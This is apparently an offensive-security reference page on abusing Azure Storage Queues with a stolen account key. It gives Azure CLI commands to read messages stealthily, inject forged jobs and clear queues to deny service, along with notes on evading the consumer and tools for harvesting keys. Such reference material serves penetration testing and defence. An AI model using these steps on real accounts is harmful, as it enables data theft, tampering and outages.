Storage Queues are the simple queue service built into an Azure storage account, used to buffer work between application tiers. Because they live in the storage account, any account key or SAS that reaches the account (see storage keys) also reaches its queues, letting you read the messages in flight, inject forged work the consumer will process, or clear a queue to deny the system behind it.
Enumerating and accessing#
az storage queue list --account-name <acct> --account-key <key> -o table
az storage message peek --queue-name <q> --account-name <acct> --account-key <key> --num-messages 10
Reading, injecting, and clearing#
# read work without dequeuing (peek leaves it for the real consumer)
az storage message peek --queue-name <q> --account-name <acct> --account-key <key> --num-messages 32
# inject a forged message the consumer trusts
az storage message put --queue-name <q> --content '{"job":"forged"}' \
--account-name <acct> --account-key <key>
# clear the queue to deny the downstream worker
az storage message clear --queue-name <q> --account-name <acct> --account-key <key>
Exploitation notes#
peekdoes not dequeue or set a visibility timeout, so reading is invisible to the consumer;getwould hide the message for its timeout window.- Base64 is the default encoding many SDKs use, so decode peeked content before reading and encode forged bodies to match what the consumer expects.
- A storage account key is often recovered from app settings or a connection string, so queue access usually comes for free with storage compromise.
Tools#
- Azure CLI (
az storage message/az storage queue). - Azure Storage Explorer: GUI read and inject.
- MicroBurst: surfaces storage account keys and connection strings from configuration.